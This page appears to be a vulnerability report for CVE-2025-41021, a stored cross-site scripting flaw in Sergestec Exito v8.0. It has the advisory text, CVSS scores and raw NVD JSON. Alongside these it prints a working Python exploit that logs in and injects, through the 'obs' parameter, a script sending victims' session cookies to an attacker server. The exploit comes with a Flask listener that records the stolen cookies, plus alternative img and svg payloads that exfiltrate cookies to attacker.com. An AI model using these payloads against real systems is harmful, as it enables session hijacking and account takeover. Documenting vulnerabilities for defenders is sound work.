Security Vulnerability Report
中文
CVE-2025-41021 CVSS 5.4 MEDIUM

CVE-2025-41021

Published: 2025-10-16 08:15:36
Last Modified: 2025-10-21 13:11:40

Description

Stored Cross-Site Scripting (XSS) in Sergestec's Exito v8.0, consisting of a stored XSS due to a lack of proper validation of user input by sending a POST request using the 'obs' parameter in '/admin/index.php?action=product_update'. This vulnerability could allow a remote user to send a specially crafted query to an authenticated user and steal their cookie session details.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:sergestec:exito:8.0:*:*:*:*:*:*:* - VULNERABLE
Sergestec Exito v8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
## CVE-2025-41021 - Stored XSS PoC for Sergestec Exito v8.0 ## Vulnerability: Stored XSS via 'obs' parameter in /admin/index.php?action=product_update ## CVSS: 5.4 (MEDIUM) import requests # Target configuration TARGET_URL = "http://target-exito-server.com" LOGIN_URL = f"{TARGET_URL}/admin/index.php" EXPLOIT_URL = f"{TARGET_URL}/admin/index.php?action=product_update" ATTACKER_SERVER = "http://attacker-controlled-server.com" # Attacker credentials (low privilege required) session = requests.Session() # Step 1: Authenticate to obtain a valid session login_data = { "username": "attacker_user", "password": "attacker_password", "action": "login" } session.post(LOGIN_URL, data=login_data) # Step 2: Craft the malicious XSS payload via 'obs' parameter # Payload steals the session cookie of any victim who views the page xss_payload = f"<script>document.location='{ATTACKER_SERVER}/steal?cookie='+document.cookie</script>" # Step 3: Send the malicious POST request to inject stored XSS exploit_data = { "product_id": "1", "obs": xss_payload, # Unsanitized 'obs' parameter "action": "product_update" } response = session.post(EXPLOIT_URL, data=exploit_data) if response.status_code == 200: print("[+] XSS payload successfully stored in the database!") print(f"[+] Payload: {xss_payload}") print("[+] Waiting for victim (e.g., admin) to view the product page...") else: print(f"[-] Exploit failed. Status code: {response.status_code}") # Step 4: On the attacker server, set up a listener to capture stolen cookies # Simple Flask example for the attacker server: # # from flask import Flask, request # app = Flask(__name__) # @app.route('/steal') # def steal(): # cookie = request.args.get('cookie') # with open('stolen_cookies.txt', 'a') as f: # f.write(cookie + '\n') # return 'OK' # app.run(host='0.0.0.0', port=80) ## Alternative payload using <img> tag for bypassing some filters: ## <img src=x onerror="fetch('http://attacker.com/c?'+document.cookie)"> ## Alternative payload using <svg> tag: ## <svg onload="new Image().src='http://attacker.com/c?'+document.cookie">

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41021", "sourceIdentifier": "[email protected]", "published": "2025-10-16T08:15:35.760", "lastModified": "2025-10-21T13:11:39.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stored Cross-Site Scripting (XSS) in Sergestec's Exito v8.0, consisting of a stored XSS due to a lack of proper validation of user input by sending a POST request using the 'obs' parameter in '/admin/index.php?action=product_update'. This vulnerability could allow a remote user to send a specially crafted query to an authenticated user and steal their cookie session details."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sergestec:exito:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "6A19865C-ECE1-4603-B70C-1DE47F6EA41D"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-sergestec-products", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}